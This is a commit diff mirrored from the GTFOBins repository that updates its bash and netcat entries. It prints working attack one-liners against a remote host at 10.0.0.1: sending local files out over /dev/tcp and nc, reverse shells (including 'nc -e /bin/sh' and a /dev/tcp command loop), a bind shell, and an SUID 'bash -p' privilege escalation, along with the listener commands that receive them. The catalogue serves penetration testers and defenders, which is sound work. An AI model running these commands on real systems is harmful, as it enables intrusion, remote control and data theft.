mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add nc and bash other end commands
This commit is contained in:
parent
6e7afa26cc
commit
fad8425624
@ -7,13 +7,13 @@ functions:
|
|||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./bash -p
|
- code: ./bash -p
|
||||||
upload:
|
upload:
|
||||||
- description: Send local file in the body of an HTTP POST request.
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file from the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
||||||
- description: Send local file using a TCP connection.
|
- description: Send local file using a TCP connection. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
@ -26,15 +26,16 @@ functions:
|
|||||||
RPORT=8000
|
RPORT=8000
|
||||||
LFILE=file_to_get
|
LFILE=file_to_get
|
||||||
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
||||||
- description: Fetch remote file using a TCP connection.
|
- description: Fetch remote file using a TCP connection. Run `nc -l -p 8000 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
LFILE=file_to_get
|
LFILE=file_to_get
|
||||||
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 > $LFILE
|
cat < /dev/tcp/$RHOST/$RPORT > $LFILE
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- code: |
|
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||||
RHOST=127.0.0.1
|
code: |
|
||||||
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT;while read line 0<&5; do $line 2>&5 >&5; done
|
exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT;while read line 0<&5; do $line 2>&5 >&5; done
|
||||||
---
|
---
|
||||||
|
@ -1,25 +1,28 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
upload:
|
upload:
|
||||||
- description: Serve a file on a TCP port.
|
- description: |
|
||||||
|
Send a file to a TCP port. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
nc $RHOST $RPORT < "$LFILE"
|
nc $RHOST $RPORT < "$LFILE"
|
||||||
download:
|
download:
|
||||||
- description: Fetch remote file from a remote TCP port.
|
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.2 8000 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
LPORT=8000
|
LPORT=8000
|
||||||
LFILE=file_to_get
|
LFILE=where_to_save
|
||||||
nc -l -p $LPORT > "$LFILE"
|
nc -l -p $LPORT > "$LFILE"
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- code: |
|
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||||
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
nc -e /bin/sh $RHOST $RPORT
|
nc -e /bin/sh $RHOST $RPORT
|
||||||
bind-shell:
|
bind-shell:
|
||||||
- code: |
|
- description: Run `nc 10.0.0.2 8000` to connect to the shell on the other end.
|
||||||
|
code: |
|
||||||
LPORT=8000
|
LPORT=8000
|
||||||
nc -lp $LPORT -e /bin/sh
|
nc -l -p $LPORT -e /bin/sh
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user